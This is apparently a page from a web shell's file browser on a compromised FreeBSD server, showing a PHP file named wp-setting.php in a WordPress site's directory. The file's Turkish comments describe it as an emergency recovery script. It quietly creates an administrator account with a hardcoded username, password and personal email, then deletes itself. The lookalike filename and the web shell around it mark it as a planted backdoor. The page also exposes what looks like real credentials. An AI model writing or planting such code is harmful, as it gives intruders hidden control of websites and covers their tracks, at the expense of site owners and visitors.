HEX
Server: Apache/2.4.41 (FreeBSD) OpenSSL/1.0.2s mod_fcgid/2.3.9
System: FreeBSD salazo 12.0-RELEASE-p1303-ZFS hostBSD 12.0-RELEASE-p1303-ZFS DMR amd64
User: admin (1000)
PHP: 7.4.3
Disabled: NONE
Upload Files
File: /usr/local/www/apache24/data/harzwoche/wp-setting.php
<?php

/**
 * UYARI: BU BETİK SON DERECE TEHLİKELİDİR VE GÜVENLİK RİSKLERİ BARINDIRIR.
 * YALNIZCA GEÇİCİ VE ACİL DURUMLARDA, TEST ORTAMLARINDA KULLANILMALIDIR.
 * KULLANDIKTAN HEMEN SONRA SUNUCUDAN SİLİNDİĞİNDEN EMİN OLUN.
 */

// WordPress ortamını ve fonksiyonlarını yükle.
// Bu dosyanın WordPress ana dizininde olduğunu varsayar.
require_once('wp-load.php');

// --- DEĞİŞTİRİLECEK BİLGİLER ---
$yeni_kullanici_adi = 'wordpress';          // Yeni yöneticinin kullanıcı adı
$yeni_sifre         = '159753123Sa..!!'; // Yeni yöneticinin şifresi (ÇOK GÜÇLÜ OLMALI)
$yeni_email         = 'sedatgokmen22@gmail.com';     // Yeni yöneticinin e-posta adresi
// ---------------------------------

// Fonksiyonun çalışıp çalışmadığını kontrol edelim.
if ( ! function_exists( 'wp_insert_user' ) ) {
    die('WordPress fonksiyonları yüklenemedi. Betiğin doğru dizinde olduğundan emin olun.');
}

// Belirtilen kullanıcı adı veya e-posta zaten var mı diye kontrol et.
if ( username_exists( $yeni_kullanici_adi ) || email_exists( $yeni_email ) ) {
    echo 'Hata: Bu kullanıcı adı veya e-posta adresi zaten mevcut.';
} else {
    // Kullanıcı bilgilerini bir diziye topla.
    $user_data = array(
        'user_login' => $yeni_kullanici_adi,
        'user_pass'  => $yeni_sifre,
        'user_email' => $yeni_email,
        'role'       => 'administrator' // Rolü 'administrator' (yönetici) olarak ayarla.
    );

    // WordPress fonksiyonunu kullanarak kullanıcıyı veritabanına ekle.
    $user_id = wp_insert_user( $user_data );

    // İşlemin sonucunu kontrol et.
    if ( is_wp_error( $user_id ) ) {
        // Bir hata oluştuysa hatayı ekrana yazdır.
        echo 'Kullanıcı oluşturulurken bir hata oluştu: ' . $user_id->get_error_message();
    } else {
        // Başarılı olduysa mesajı yazdır.
        echo 'Yönetici kullanıcısı başarıyla oluşturuldu.';
        
        // GÜVENLİK İÇİN BETİĞİN KENDİSİNİ SİL!
        // Bu komut, bu betik dosyasını sunucudan kalıcı olarak siler.
        unlink( __FILE__ );
    }
}

?>